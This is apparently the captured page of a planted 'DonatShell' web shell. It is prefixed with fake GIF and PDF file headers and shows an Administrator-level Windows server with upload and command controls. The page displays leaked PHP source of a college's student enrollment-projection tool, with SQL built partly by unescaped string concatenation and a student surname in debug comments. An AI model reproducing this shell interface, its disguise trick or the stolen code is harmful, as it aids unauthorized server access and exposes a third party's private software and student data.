GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/Enrollment/CurrentEnrollment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/Enrollment/CurrentEnrollment/ShowCLassesNeeded.phpinc.cloak
<?
// Admin/DARS/ProjectedEnrollment/ShowCLassesNeeded.phpinc
// phpinc_filename_purpose.

$d_O = d_O(); #d_On(); // Uncomment to DEBUG.
d_Line(basename(__FILE__),'bi');

if ( !isset($IsAdvising) )  $IsAdvising = false;

if ( $IsAdvising ) {
	$aDEBUG = '';
	#$aDEBUG = 'd';
} else {
	$aDEBUG = '';
}
d_Var('$aDEBUG',$aDEBUG,$aDEBUG.'bi');

// BEGIN Show classes needed.
$colSem = count($semesterCode) + 1;
$colTot = $colSem + 10;
if ( !isset($IsAdvising) ) $IsAdvising = false;
?>
<style type="text/css">
td, th {
	empty-cells:show;
	padding-left:2px;
	padding-right:2px;
}
td.rbdr, th.rbdr {
	border-right:1px solid #666666;
}
td.bbdr, th.bbdr {
	border-bottom:1px solid #666666;
}
td.tbdr, th.tbdr {
	border-top:1px solid #666666;
}
td.even {
	background-color:white;
}
td.odd {
	background-color:#E0E0E0;
}
</style>
<br class="pagebreak" />
<table class="blackborder center">
<?
if ( !$IsAdvising ) {
?>
<tr><th colspan="<?=$colTot?>">Projected classes for each student by credintial.</th></tr>
<?
}
		$semesterStudentCount = array();
		$semesterTotalCredits = array();
		$StudentsThatNeedClass = array();
		$StudentsThatNeedIfOfferedClass = array();
		for ($i=0; $i<count($semesterCode); $i++) {
			$semesterTotalCredits[$i] = 0;
			$semesterStudentCount[$i] = 0;
		}
		
		mysql_data_seek($darsResult, 0);
		$DARSindex = 0;
		while ( $darsRow = mysql_fetch_assoc($darsResult) ) { // Loop through the DARS for each student.
			#if ( $darsRow['darsStudentId'] == '12081039' ) d_On(); // DEBUG a student DARS.
		if ( true || $darsRow['darsId'] == 1285 ) { // Normally true, used for DEBUGGING: or is this darsId == value?
			if ( $aDEBUG ) {
				$colspan = $colSem + 10;
?>
			<tr style="vertical-align:bottom;">
				<td colspan="<?=$colspan?>">darsRow <? d_Var('$darsRow',$darsRow,''); ?></td>
			</tr>
<?				
			}
			$eo = ($DARSindex+1) - ((int)(($DARSindex+1)/2) * 2);
			if ( $eo ) { $eo = 'row_odd'; } else { $eo = 'row_even'; }
			if ( $DARSindex == (int)($DARSindex/$headerLineCount) * $headerLineCount ) {
?>
			<tr style="vertical-align:bottom;">
				<th class="rbdr" colspan="4"></th>
				<th class="center rbdr" colspan="<?=$colSem?>">Semester credits</th>
				<th class="center rbdr" colspan="2">Needed</th>
				<th class="center rbdr" colspan="2">Next</th>
				<th class="left" colspan="2">Projected Credits and Class list</th>
			</tr>
	
			<tr style="vertical-align:bottom;">
				<th>CC</th>
				<th>StudentId</th>
				<th class="right">First</th>
				<th class="rbdr">Last</th>
<?
			$yearCode4 = array();
			for ( $i=0; $i<count($semesterCode); $i++ ) { // Loop thru semesterCodes.
				#printVar('$semesterCode[$i] $yearCode[$i]',$semesterCode[$i].' '.$yearCode[$i]);
				$yearCode4[$i] = $yearCode[$i];
				if ( $yearCode4[$i] > 80 ) {
					$yearCode4[$i] = '19'.$yearCode4[$i];
				} else {
					$yearCode4[$i] = '20'.$yearCode4[$i];
				}
			} // Loop thru semesterCodes.
			for ( $i=0; $i<count($semesterCode); $i++ ) { // Loop thru semesterCodes.
?>
				<th class="right"><?=$semesterCode[$i]?><?=$yearCode[$i]?></th>
<?
			} // Loop thru semesterCodes.
?>
        <th class="rbdr right">Avg</th>
        <th class="center">Core</th>
        <th class="rbdr center">Elec</th>
        <th class="center">Core</th>
        <th class="rbdr center">Elec</th>
        <th class="center">Cr</th>
        <th class="left">Class list</th>
      </tr>
<?
			}
			// Get the darscredentialcodeCode and darscredentialcodeId.
			$query = "
					SELECT darscredentialcode.darscredentialcodeId,
					       darscredentialcode.darscredentialcodeCode
						FROM `darscredentialcode`
			INNER JOIN `darscredential` ON darscredentialcode.darscredentialcodeId = darscredential.darscredentialcodeId
					 WHERE darscredential.darscredentialTitle = '".$darsRow['darsCredentialTitle']."'
			";
			d_Var('darscredentialcodeResult',$query,'q');
			$darscredentialcodeResult = query_do($query);
			$darscredentialcodeResultCount = $_SESSION['qry']['count'];
			d_Var('$darscredentialcodeResult',$darscredentialcodeResult,'');
			if ( !$darscredentialcodeResultCount ) { // Did we not fine a credential?
				$darscredentialcodeRow = '';
				$f_error = '['.$darsRow['darsCredentialTitle'].'] does not have darscredentialcodeId.<span class="pv_fl"> '.basename(__FILE__).':'.__LINE__.'</span>';
				require('common/displayErrorsAndMessages.phpinc');
				require('common/pageFooter.phpinc');
			} // Did we not fine a credential?
			$darscredentialcodeRow = mysql_fetch_assoc($darscredentialcodeResult);
			$f_darscredentialcodeId = $darscredentialcodeRow['darscredentialcodeId'];
			$f_darscredentialcodeCode = $darscredentialcodeRow['darscredentialcodeCode'];
?>
			<tr>
				<td class="<?=$eo?>"><?=$f_darscredentialcodeCode?></td>
				<td class="<?=$eo?> nowrap"><? if ( $IsAdvising && $darsResultCount > 1 ) { ?><a href="./?f_task=Search%20...&search=<?=$darsRow['darsStudentId']?>&darsId=<?=$darsRow['darsId']?>">Select <? } ?><?=$darsRow['darsStudentId']?><? if ( $IsAdvising && $darsResultCount > 1 ) { ?></a><? } ?></td>
				<td class="right <?=$eo?>"><?=$darsRow['darsStudentFirstName']?></td>
				<td class="rbdr <?=$eo?>"><?=$darsRow['darsStudentLastName']?></td>
<?
			// Get the darssectionId for the 'Technical Core Courses' and 'Technical Electives' section.
			$query = "
					SELECT darssectionId
						FROM `darssection`
					 WHERE darsId = ".$darsRow['darsId']."
						 AND ( darssectionTitle = 'Technical Core Courses' OR darssectionTitle = 'Technical Electives' )
			";
#						 AND darssectionTitle = 'Technical Core Courses'
			#printVar('$query',$query,'q');
			$darssectionResult = query_do($query);
			$darssectionResultCount = $_SESSION['qry']['count'];
			d_Var('$darssectionResultCount',$darssectionResultCount);
			d_Var('$darssectionResult',$darssectionResult);
			if ( $darssectionResultCount ) { // Was there a core section?
				// BEGIN Calculate and display the credits for each session.
				$darssectionIdList = query_to_list($darssectionResult);
				$totalCredits = 0;
				$totalClasses = 0;
				$semestersWithClasses = 0;
				d_Var('$yearCode4',$yearCode4,'');
				for ( $i=0; $i<count($semesterCode); $i++ ) { // Loop thru semesters.
					$query = "
							SELECT darssectionclassId,
										 darsId,
										 darssectionId,
										 darssectionclassSemester,
										 darssectionclassYear,
										 darssectionclassDept,
										 darssectionclassNumb,
										 darssectionclassCredits,
										 darssectionclassGrade,
										 darssectionclassLegend,
										 darssectionclassTitle,
										 darssectionclassComment
								FROM `darssectionclass`
							 WHERE darssectionId IN (".$darssectionIdList.")
								 AND darssectionclassSemester = '".mysql_safe($semesterCode[$i])."'
								 AND ( darssectionclassYear = '".mysql_safe($yearCode[$i])."' OR darssectionclassYear = '".mysql_safe($yearCode4[$i])."' )
						ORDER BY darssectionclassDept, darssectionclassNumb
					";
					d_Var('darssectionclassResult',$query,'q');
					$darssectionclassResult = query_do($query);
					$darssectionclassResultCount = $_SESSION['qry']['count'];
					d_Var('$darssectionclassResultCount',$darssectionclassResultCount,'');
					d_Var('$darssectionclassResult',$darssectionclassResult,'');
					$semesterCredits = 0;
					$semesterClasses = 0;
					if ( $darssectionclassResultCount ) { // Were there classes this semester.
						mysql_data_seek($darssectionclassResult, 0);
						while ( $darssectionclassRow = mysql_fetch_assoc($darssectionclassResult) ) { // Loop thru semester classes.
							$semesterCredits += $darssectionclassRow['darssectionclassCredits'];
							if ($darssectionclassRow['darssectionclassCredits']) $semesterClasses++;
						} // Loop thru semester classes.
					} // Were there classes this semester.
					if ($semesterCredits) {
						$semesterTotalCredits[$i] += $semesterCredits;
						$semesterStudentCount[$i]++;
					}
					$totalCredits += $semesterCredits;
					$totalClasses += $semesterClasses;
					if ($semesterCredits > 0 ) $semestersWithClasses++;
?>
				<td class="right <?=$eo?>"><?=$semesterCredits?></td>
<?
				} // Loop thru semesters.
				// END Calculate and display the credits for each session.
				if ( $semestersWithClasses && $semesterCredits ) { // Were there semesters with credits?
					$averageCredits = max(6,intval($totalCredits / $semestersWithClasses + .99));
					$averageClasses = max(intval($averageCredits/3+.5),intval($totalClasses / $semestersWithClasses + .99));
				} else { // Were there semesters with credits?
					$averageCredits = 15;
					$averageClasses = intval($averageCredits/3+.5);
				} // Were there semesters with credits?
			} // Was there a core section?
			// Calculate core credits needed.
			$query = "
			    SELECT SUM(darssectionCreditsNeeds) AS coreCreditsNeeded
						FROM darssection
					 WHERE darsId = ".$darsRow['darsId']."
					 	 AND darssection.darssectionTitle = 'Technical Core Courses'
			";
			d_Var('coreCreditsNeededResult',$query,$aDEBUG.'q');
			$coreCreditsNeededResult = query_do($query);
			d_Var('$coreCreditsNeededResult',$coreCreditsNeededResult,$aDEBUG.'');
			$coreCreditsNeededResultCount = $_SESSION['qry']['count'];
			if ( $coreCreditsNeededResultCount ) { // Are there core credits needed?
				$coreCreditsNeededRow = mysql_fetch_assoc($coreCreditsNeededResult);
				$coreCreditsNeeded = intval($coreCreditsNeededRow['coreCreditsNeeded']+.5);
				if ($coreCreditsNeeded) $coreStudentCount++;
				$coreCreditsNeededTotal+= $coreCreditsNeeded;
			} else { // Are there core credits needed?
				$coreCreditsNeeded = 0;
			} // Are there core credits needed?
			// Calculate elective credits needed.
			$query = "
			    SELECT SUM(darssectionCreditsNeeds) AS electiveCreditsNeeded
						FROM darssection
					 WHERE darsId = ".$darsRow['darsId']."
					 	 AND darssection.darssectionTitle = 'Technical Electives'
			";
			d_Var('ElectiveCreditsNeededResult',$query,$aDEBUG.'q');
			$ElectiveCreditsNeededResult = query_do($query);
			d_Var('$ElectiveCreditsNeededResult',$ElectiveCreditsNeededResult,$aDEBUG.'');
			$ElectiveCreditsNeededCount = $_SESSION['qry']['count'];
			if ( $ElectiveCreditsNeededCount ) {
				$ElectiveCreditsNeededRow = mysql_fetch_assoc($ElectiveCreditsNeededResult);
				$electiveCreditsNeeded = max(0,intval($ElectiveCreditsNeededRow['electiveCreditsNeeded']+.5));
				if ($electiveCreditsNeeded) $electiveStudentCount++;
				$ElectiveCreditsNeededTotal+= $electiveCreditsNeeded;
			} else {
				$electiveCreditsNeeded = 0;
			}
			$coreCredits = min( $averageCredits,$coreCreditsNeeded );
			if ( $coreCredits ) $coreCreditsCount++;
			$coreCreditsTotal += $coreCredits;
			
			$electiveCredits = min(max(0,$averageCredits-$coreCredits),$electiveCreditsNeeded);
			if ( $electiveCredits ) $electiveCreditsCount++;
			$electiveCreditsTotal += $electiveCredits;

			if ( $averageCredits ) {
				$averageCreditsCount++;
				$averageCreditsTotal += $averageCredits;
			}
?>
				<td class="rbdr right bold <?=$eo?>"><?=$averageCredits?></td>
				<td class="right <?=$eo?>"><?=$coreCreditsNeeded?></td>
				<td class="rbdr right <?=$eo?>"><?=$electiveCreditsNeeded?></td>
<?
			// BEGIN Calculate classes to take.
			$classList = '';
			$classListFull = '';
			#$classList = $f_darscredentialcodeId;
			$nextCoreCredits = $coreCredits;
			$nextElectiveCredits = $electiveCredits;
			$nextTotalCredits = $nextCoreCredits + $nextElectiveCredits;
			$nextTakenCredits = 0;
			$nextCoreCreditsFull = $coreCredits;
			$nextElectiveCreditsFull = $electiveCredits;
			$nextTotalCreditsFull = $nextCoreCredits + $nextElectiveCredits;
			$nextTakenCreditsFull = 0;
			// Get the list of classes by ranking.
			$query = "
					SELECT darsclassrank.darsclassrankRank,
								 darsclass.darsclassOffered,
								 darsclass.darsclassDept,
								 darsclass.darsclassNumb,
								 darsclass.darsclassCredits
						FROM `darsclassrank`
			INNER JOIN darsclass ON darsclass.darsclassId = darsclassrank.darsclassId
					 WHERE darsclassrank.darscredentialcodeId = ".$f_darscredentialcodeId."
						 AND darsclass.darsclassCredits >= 0
						 AND darsclassrank.darsclassrankRank > 0
				ORDER BY darsclassrank.darsclassrankRank, darsclass.darsclassDept, darsclass.darsclassNumb
			";
#						 AND darsclass.darsclassOffered = 1
			d_Var('darsclassrankResult',$query,'q');
			$darsclassrankResult = query_do($query);
			$darsclassrankResultCount = $_SESSION['qry']['count'];
			d_Var('$darsclassrankResultCount',$darsclassrankResultCount,$aDEBUG.'');
			d_Var('$darsclassrankResult',$darsclassrankResult,'+');
			#printVar('$query',$query,'q');
			#printVar('$darsclassrankResultCount',$darsclassrankResultCount);
			if ( $darsclassrankResultCount ) { // Are there any classes?
				#printVar('$darsclassrankResult',$darsclassrankResult);
				mysql_data_seek($darsclassrankResult, 0);
				d_Var('$nextTotalCredits',$nextTotalCredits,$aDEBUG.'');
				while ( $nextTotalCredits > 0 && $darsclassrankRow = mysql_fetch_assoc($darsclassrankResult) ) { // Loop thru classes by ranking.
					// See if this class is in the select from list.
					if ( !( $darsclassrankRow['darsclassDept'] == 'CST' && $darsclassrankRow['darsclassNumb'] == '1000' ) ) { // Is this not CST1000?
						$query = "
								SELECT darssectionselectfromId
									FROM `darssectionselectfrom`
								 WHERE darsId = ".$darsRow['darsId']."
									 AND darssectionselectfromDept = '".mysql_safe($darsclassrankRow['darsclassDept'])."'
									 AND ( darssectionselectfromNumb = '".mysql_safe($darsclassrankRow['darsclassNumb'])."'";
						// Fix for CST1145 and MMDT1145.
						if ( $darsclassrankRow['darsclassNumb'] == '1145' ) {
							$query .= " OR darssectionselectfromNumb = '2146'";
						}
						if ( $darsclassrankRow['darsclassNumb'] == '2146' ) {
							$query .= " OR darssectionselectfromNumb = '1145'";
						}
						$query .= " )
						";
						d_Var('darssectionselectfromResult',$query,$aDEBUG.'q');
						if ( $DEBUG_CalculateYRTRcredits && $darsRow['darsId'] == 1285 ) printVar('$query',$query,'q');
						$darssectionselectfromResult = query_do($query);
						d_Var('$darssectionselectfromResult',$darssectionselectfromResult,$aDEBUG.'');
						if ( $DEBUG_CalculateYRTRcredits && $darsRow['darsId'] == 1285 ) printVar('$darssectionselectfromResult',$darssectionselectfromResult,'f');
						$darssectionselectfromResultCount = $_SESSION['qry']['count'];
						if( $darssectionselectfromResultCount ) { // Did the student have classes to select from?
							/* * /
							if ($darsRow['darsStudentLastName'] == 'Muilenburg') {
								printVar("\$darsclassrankRow['darsclassDept']",$darsclassrankRow['darsclassDept']);
								printVar("\$darsclassrankRow['darsclassNumb']",$darsclassrankRow['darsclassNumb']);
								printVar("\$darsclassrankRow['darsclassCredits']",$darsclassrankRow['darsclassCredits']);
								printVar('$classListFull',$classListFull);
							}
							/* */
							$classListFull = listAppend($classListFull,$darsclassrankRow['darsclassDept'].$darsclassrankRow['darsclassNumb']);
							$nextTakenCreditsFull += $darsclassrankRow['darsclassCredits'];
							/* * /
							if ($darsRow['darsStudentLastName'] == 'Muilenburg') {
								printVar('$classListFull',$classListFull);
								printVar('$nextTakenCreditsFull',$nextTakenCreditsFull);
								echo "<br>\n";
							}
							/* */
							$nextTotalCreditsFull -= $darsclassrankRow['darsclassCredits'];

							// Add the student to the StudentsThatNeedClass.
							$classNumber = $darsclassrankRow['darsclassDept'].$darsclassrankRow['darsclassNumb'];
							if ( !isset($StudentsThatNeedIfOfferedClass[$classNumber]) ) $StudentsThatNeedIfOfferedClass[$classNumber] = array();
							$studentNameId = $darsRow['darsStudentFirstName'].' '.$darsRow['darsStudentLastName'].' '.$darsRow['darsStudentId'];
							if ( !in_array($studentNameId,$StudentsThatNeedIfOfferedClass[$classNumber]) ) {
								$StudentsThatNeedIfOfferedClass[$classNumber][] = $studentNameId;
								if ( isset($classListFullArray[$classNumber]) ) {
									$classListFullArray[$classNumber]++;
								} else {
									$classListFullArray[$classNumber] = 1;
								}
							}
							
							// If Advising, check schedule to see if a class is offered.
							@d_Var('$IsAdvising',$IsAdvising,'');
							if ( $IsAdvising ) { // Are we advisings?
								#d_Var('$darsclassrankRow',$darsclassrankRow,'');
								/** /
								$darsclassrankRow['darsclassDept'] == 'CST'
								$darsclassrankRow['darsclassNumb'] == 1794 
								/**/
								$query = "
										SELECT YRTR,
													 COU_ID,
													 SUBJ,
													 NBR,
													 SECT,
													 TITLE,
													 CRHR,
													 CRMAX,
													 INSTR_TYPE,
													 ENR,
													 EMAX,
													 GRADE_METH,
													 COU_START,
													 COU_END,
													 campus,
													 IsDropped
											FROM `pclass`
										 WHERE YRTR = '".mysql_safe($_SESSION['YRTR']['User'])."'
											 AND SUBJ = '".mysql_safe($darsclassrankRow['darsclassDept'])."'
											 AND NBR = '".mysql_safe($darsclassrankRow['darsclassNumb'])."'
											 AND IsDropped = 0
									ORDER BY SUBJ, NBR, SECT
								";
								d_Var('pclassResult',$query,'q');
								$pclassResult = query_do($query);
								$pclassResultCount = $_SESSION['qry']['count'];
								d_Var('$pclassResult',$pclassResult,'');
								/** /
								#if ($pclassResultCount != 1) {
								if (!$pclassResultCount) {
									$pclassRow = false;
									$thisFile=__FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
									$f_error = 'error_message_goes_here from query: "<span class="d_s_q">'.$query.'</span>".<span class="d_s_fl"> '.basename(__FILE__).':'.__LINE__.'</span><span class="d_s_fp"> '.basename(__FILE__).':'.__LINE__.'</span>';
									$thisFile=__FILE__; $thisLine=__LINE__; include('common/displayErrorsAndMessages.phpinc');
									$thisFile=__FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');
								}
								mysql_data_seek($pclassResult, 0);
								#$pclassRow = mysql_fetch_assoc($pclassResult);
								while ($pclassRow = mysql_fetch_assoc($pclassResult)) {
									
								}
								/**/
								if ( $pclassResultCount ) {
									$cr = '';
									mysql_data_seek($pclassResult, 0);
									while ($pclassRow = mysql_fetch_assoc($pclassResult)) {
										if ( $cr == '' ) {
											$cr = ' ('.$pclassRow['CRHR'];
											if ( $pclassRow['CRMAX'] ) $cr .= '-'.$pclassRow['CRMAX'];
											$cr .= 'cr)';
										}
										$COU_ID_List = listAppend($COU_ID_List,"'".$pclassRow['COU_ID']."'"); // Add COU_ID to list.
									}
									$darsclassrankRow['darsclassOffered'] = 1;
								} else {
									$darsclassrankRow['darsclassOffered'] = 0;
									$cr = '';
								}
								d_Var($darsclassrankRow['darsclassDept'].$darsclassrankRow['darsclassNumb'].$cr.' offered',$darsclassrankRow['darsclassOffered'],$aDEBUG.'bl');
							} // Are we advisings?
							if ( $darsclassrankRow['darsclassOffered'] ) { // Is the class offered?
								$classNumber = $darsclassrankRow['darsclassDept'].$darsclassrankRow['darsclassNumb'];
								$classList = listAppend($classList,$classNumber);
								$nextTakenCredits += $darsclassrankRow['darsclassCredits'];
								$nextTotalCredits -= $darsclassrankRow['darsclassCredits'];
								
								// Add the student to the StudentsThatNeedClass.
								if ( !isset($StudentsThatNeedClass[$classNumber]) ) $StudentsThatNeedClass[$classNumber] = array();
								$studentNameId = $darsRow['darsStudentFirstName'].' '.$darsRow['darsStudentLastName'].' '.$darsRow['darsStudentId'];
								if ( !in_array($studentNameId,$StudentsThatNeedClass[$classNumber]) ) {
									$StudentsThatNeedClass[$classNumber][] = $studentNameId;
									if ( isset($classListArray[$classNumber]) ) {
										$classListArray[$classNumber]++;
									} else {
										$classListArray[$classNumber] = 1;
									}
								}
								
							} // Is the class offered?
						} // Did the student have classes to select from?
					} // Is this not CST1000?
				} // Loop thru classes by ranking.			
			} // Are there any classes?
			$nextTotalCreditsFull = $nextCoreCredits + $nextElectiveCredits;
			if ($nextTakenCreditsFull) {
				$totalProjectedCreditsFull += $nextTakenCredits;
				$totalProjectedCountFull++;
			}
			$nextTotalCredits = $nextCoreCredits + $nextElectiveCredits;
			if ($nextTakenCredits) {
				$totalProjectedCredits += $nextTakenCredits;
				$totalProjectedCount++;
			}
			if ($nextTakenCredits < $nextTotalCredits) {
				$nextTakenCredits = '<span class="error">'.$nextTakenCredits.'</span>';
			} elseif ($nextTakenCredits > $nextTotalCredits) {
				$nextTakenCredits = '<span class="attention">'.$nextTakenCredits.'</span>';
			}
			$classListDisplayArray = explode(",",$classList);
			$classListFullDisplayArray = explode(",",$classListFull);
			$classList = str_replace(",",", ",listSort($classList));
			$classListFull = str_replace(",",", ",listSort($classListFull));
			if ($classList == $classListFull) {
				$classListFullDisplay = '';
			} else {
				$classListFullDisplay = '';
				$classListFullCount = 0;
				foreach ( $classListFullDisplayArray as $thisFullClass ) {
					
					
					/**/
					if ( !in_array($thisFullClass,$classListDisplayArray) ) {
						$classListFullCount++;
						$classListFullDisplay = listAppend($classListFullDisplay,$thisFullClass);
					}
					/**/
				}
				$classListFullDisplay = '<br>Could also take '.str_replace(",",", ",listSort($classListFullDisplay)).' if ';
				if ( $classListFullCount == 1 ) {
					$classListFullDisplay .= 'it was ';
				} else {
					$classListFullDisplay .= 'they were ';
				}
				$classListFullDisplay .= 'offered ('.$nextTakenCreditsFull.'cr)';
			}
			// END Calculate classes to take.
?>
				<td class="right <?=$eo?>"><?=$coreCredits?></td>
				<td class="rbdr right <?=$eo?>"><?=$electiveCredits?></td>
				<td class="bold right <?=$eo?>"><?=$nextTakenCredits?></td>
				<td class="left <?=$eo?>">
					<?=$classList?><?=$classListFullDisplay?>
<?
			if ( $IsAdvising ) { // Are we advising?
						// Also show classes taken.
						$classesTaken = '';
						$TotalCreditsTaken = 0;
						$currentClassInfo = '';
						$failedClassInfo = '';
						$query = "
								SELECT darssectionclassId,
											 darsId,
											 darssectionId,
											 darssectionclassSemester,
											 darssectionclassYear,
											 darssectionclassDept,
											 darssectionclassNumb,
											 darssectionclassCredits,
											 darssectionclassGrade,
											 darssectionclassLegend,
											 darssectionclassTitle,
											 darssectionclassComment
									FROM `darssectionclass`
								 WHERE darssectionId IN (".$darssectionIdList.")
							ORDER BY darssectionclassDept, darssectionclassNumb
						";
						d_Var('darssectionclassTakenResult',$query,'q');
						$darssectionclassTakenResult = query_do($query);
						$darssectionclassTakenCount = $_SESSION['qry']['count'];
						d_Var('$darssectionclassTakenCount',$darssectionclassTakenCount,'');
						d_Var('$darssectionclassTakenResult',$darssectionclassTakenResult,'');
						if ( $darssectionclassTakenCount ) { // Were there classes this semester.
							mysql_data_seek($darssectionclassTakenResult, 0);
							while ( $classRow = mysql_fetch_assoc($darssectionclassTakenResult) ) { // Loop thru semester classes.
								$classTaken = $classRow['darssectionclassDept'].$classRow['darssectionclassNumb'];
								if ( $classRow['darssectionclassGrade'] == 'Z' ) {
									$classTaken = '<span class="gradeNG">'.$classTaken.'</span>';
									$currentClassInfo = '<span class="gradeNG">(current class)</span>';
									$TotalCreditsTaken += $classRow['darssectionclassCredits'];
								} else if ( $classRow['darssectionclassGrade'] == 'F' || $classRow['darssectionclassGrade'] == 'NP' ) {
									$classTaken = '<span class="gradeF">'.$classTaken.'</span>';
									$failedClassInfo = '<span class="gradeF">(failed class)</span>';
								} else {
									$TotalCreditsTaken += $classRow['darssectionclassCredits'];
								}
								$classesTaken = listAppend($classesTaken,$classTaken);
							} // Loop thru semester classes.
						} // Were there classes this semester.
						if ( $classesTaken != '' ) {
							$classesTaken = 'Taken: '.listAnd($classesTaken).'.';
							if ( $currentClassInfo != '' || $failedClassInfo != '' ) $classesTaken .= '<br>'.trim($currentClassInfo.' '.$failedClassInfo);
							$classesTaken .= '<br>Total credits = '.$TotalCreditsTaken.'.';
						} else {
							$classesTaken = 'No classes taken.';
						}
						?><br><?=$classesTaken?><?
/** /
					$query = "
							SELECT darssectionclassId,
										 darsId,
										 darssectionId,
										 darssectionclassSemester,
										 darssectionclassYear,
										 darssectionclassDept,
										 darssectionclassNumb,
										 darssectionclassCredits,
										 darssectionclassGrade,
										 darssectionclassLegend,
										 darssectionclassTitle,
										 darssectionclassComment
								FROM `darssectionclass`
							 WHERE darssectionId IN (".$darssectionIdList.")
								 AND darssectionclassSemester = '".mysql_safe($semesterCode[$i])."'
								 AND ( darssectionclassYear = '".mysql_safe($yearCode[$i])."' OR darssectionclassYear = '".mysql_safe($yearCode4[$i])."' )
						ORDER BY darssectionclassDept, darssectionclassNumb
/**/
						
					} // Are we advising?
				?>
				</td>
			</tr>
<?
		$DARSindex++;
		} // Normally true, else is this darsId == value?
		if ( isset($d_O) && !$d_O ) d_Off();
		} // Loop through the DARS for each student.
?>
			<tr>
      	<td class="tbdr bbdr" colspan="<?=$colTot?>">
          <span class="bold error">Red</span> projected credits are less than average credits taken.<br>
          <span class="attention">Blue</span> projected credits are greater than average credits taken.<br>
        </td>
      </tr>
<?
		if ( !$IsAdvising ) { // Are we calculating YRTR credits?
?>			
      <tr style="vertical-align:bottom;">
				<th class="center rbdr" colspan="4"></th>
				<th class="center rbdr" colspan="<?=$colSem?>">Semester credits</th>
				<th class="center rbdr" colspan="2">Needed</th>
				<th class="center rbdr" colspan="2">Next</th>
				<th class="right"></th>
				<th class="right"></th>
			</tr>

			<tr style="vertical-align:bottom;">
				<th class="rbdr" colspan="4"></th>
<?
		for ($i=0; $i<count($semesterCode); $i++) {
?>
				<th class="right"><?=$semesterCode[$i]?><?=$yearCode[$i]?></th>
<?
		}
?>
				<th class="rbdr right">Avg</th>
				<th class="center">Core</th>
				<th class="rbdr center">Elec</th>
				<th class="center">Core</th>
				<th class="rbdr center">Elec</th>
				<th class="center">Cr</th>
				<th class="left" colspan="2">Other Information</th>
			</tr>
			<tr>
				<th colspan="4" class="rbdr right">Total technical credits:</th>
<?
				$averageCreditsTotal = 0;
				for ($i=0; $i<count($semesterCode); $i++) {
					$averageCreditsTotal += $semesterTotalCredits[$i];
?>
					<td class="right"><?=$semesterTotalCredits[$i]?></td>
<?
				}
				$averageCreditsTaken = intval(($averageCreditsTotal/count($semesterCode))+.51);
?>
				<td class="rbdr right"><?=$averageCreditsTaken?></td>
				<td class="right"><?=$coreCreditsNeededTotal?></td>
				<td class="rbdr right"><?=$ElectiveCreditsNeededTotal?></td>
				<td class="right"><?=$coreCreditsTotal?></td>
				<td class="rbdr right"><?=$electiveCreditsTotal?></td>
				<td class="right"><?=$totalProjectedCredits?></td><td>credits projected excluding new starts.</td>
			</tr>
			<tr>
				<th colspan="4" class="rbdr right">Student count:</th>
<?
				$semesterStudentCountTotal = 0;
				for ($i=0; $i<count($semesterCode); $i++) {
					if ($i == count($semesterCode)-1) $semesterStudentCountLastSemester = $semesterStudentCount[$i];
					$semesterStudentCountTotal += $semesterStudentCount[$i];
?>
					<td class="right"><?=$semesterStudentCount[$i]?></td>
<?
				}
				$averageStudentCount = intval(($semesterStudentCountTotal/count($semesterCode))+.51);
?>
				<td class="rbdr right"><?=$averageStudentCount?></td>
				<td class="right"><?=$coreStudentCount?></td>
				<td class="rbdr right"><?=$electiveStudentCount?></td>
				<td class="right"><?=$coreCreditsCount?></td>
				<td class="rbdr right"><?=$electiveCreditsCount?></td>
				<td class="right"><?=$totalProjectedCount?></td><td>students projected to return.</td>
			</tr>
			<tr>
				<th colspan="4" class="rbdr right">Average technical credits per student:</th>
<?
				$averageCreditsTakenTotal = 0;
				for ($i=0; $i<count($semesterCode); $i++) {
					if ($semesterStudentCount[$i]) {
						$averageCreditsTaken = intval((($semesterTotalCredits[$i]/$semesterStudentCount[$i])+.051)*10)/10;
					} else {
						$averageCreditsTaken = 0;
					}
					$averageCreditsTakenTotal += $averageCreditsTaken;
?>
					<td class="right"><?=$averageCreditsTaken?></td>
<?
				}
				$averageCreditsPerStudent = intval(($averageCreditsTakenTotal/count($semesterCode))+.51);
				$coreCreditsNeededPerStudent = intval(($coreCreditsNeededTotal/$semesterStudentCountLastSemester)+.51);
				$electiveCreditsNeededPerStudent = intval(($ElectiveCreditsNeededTotal/$semesterStudentCountLastSemester)+.51);
				$coreCreditsPredictedPerStudent = intval(($coreCreditsTotal/$semesterStudentCountLastSemester)+.51);
				$electiveCreditsPredictedPerStudent = intval(($ElectiveCreditsNeededTotal/$semesterStudentCountLastSemester)+.51);
				if ($totalProjectedCount) {
					$projectedCreditsPredictedPerStudent = intval(($totalProjectedCredits/$totalProjectedCount)+.51);
				} else {
					$projectedCreditsPredictedPerStudent = 'N/A';
				}
?>
				<td class="rbdr right"><?=$averageCreditsPerStudent?></td>
				<td class="right"><?=$coreCreditsNeededPerStudent?></td>
				<td class="rbdr right"><?=$electiveCreditsNeededPerStudent?></td>
				<td class="right"><?=$coreCreditsPredictedPerStudent?></td>
				<td class="rbdr right"><?=$electiveCreditsPredictedPerStudent?></td>
				<td class="right"><?=$projectedCreditsPredictedPerStudent?></td><td>average credits per returning student.</td>
			</tr>
<?
		} // Are we calculating YRTR credits?
?>
</table>
<?
	// END Show classes needed.


if ( isset($d_O) && !$d_O ) d_Off();
?>

Anon7 - 2022
AnonSec Team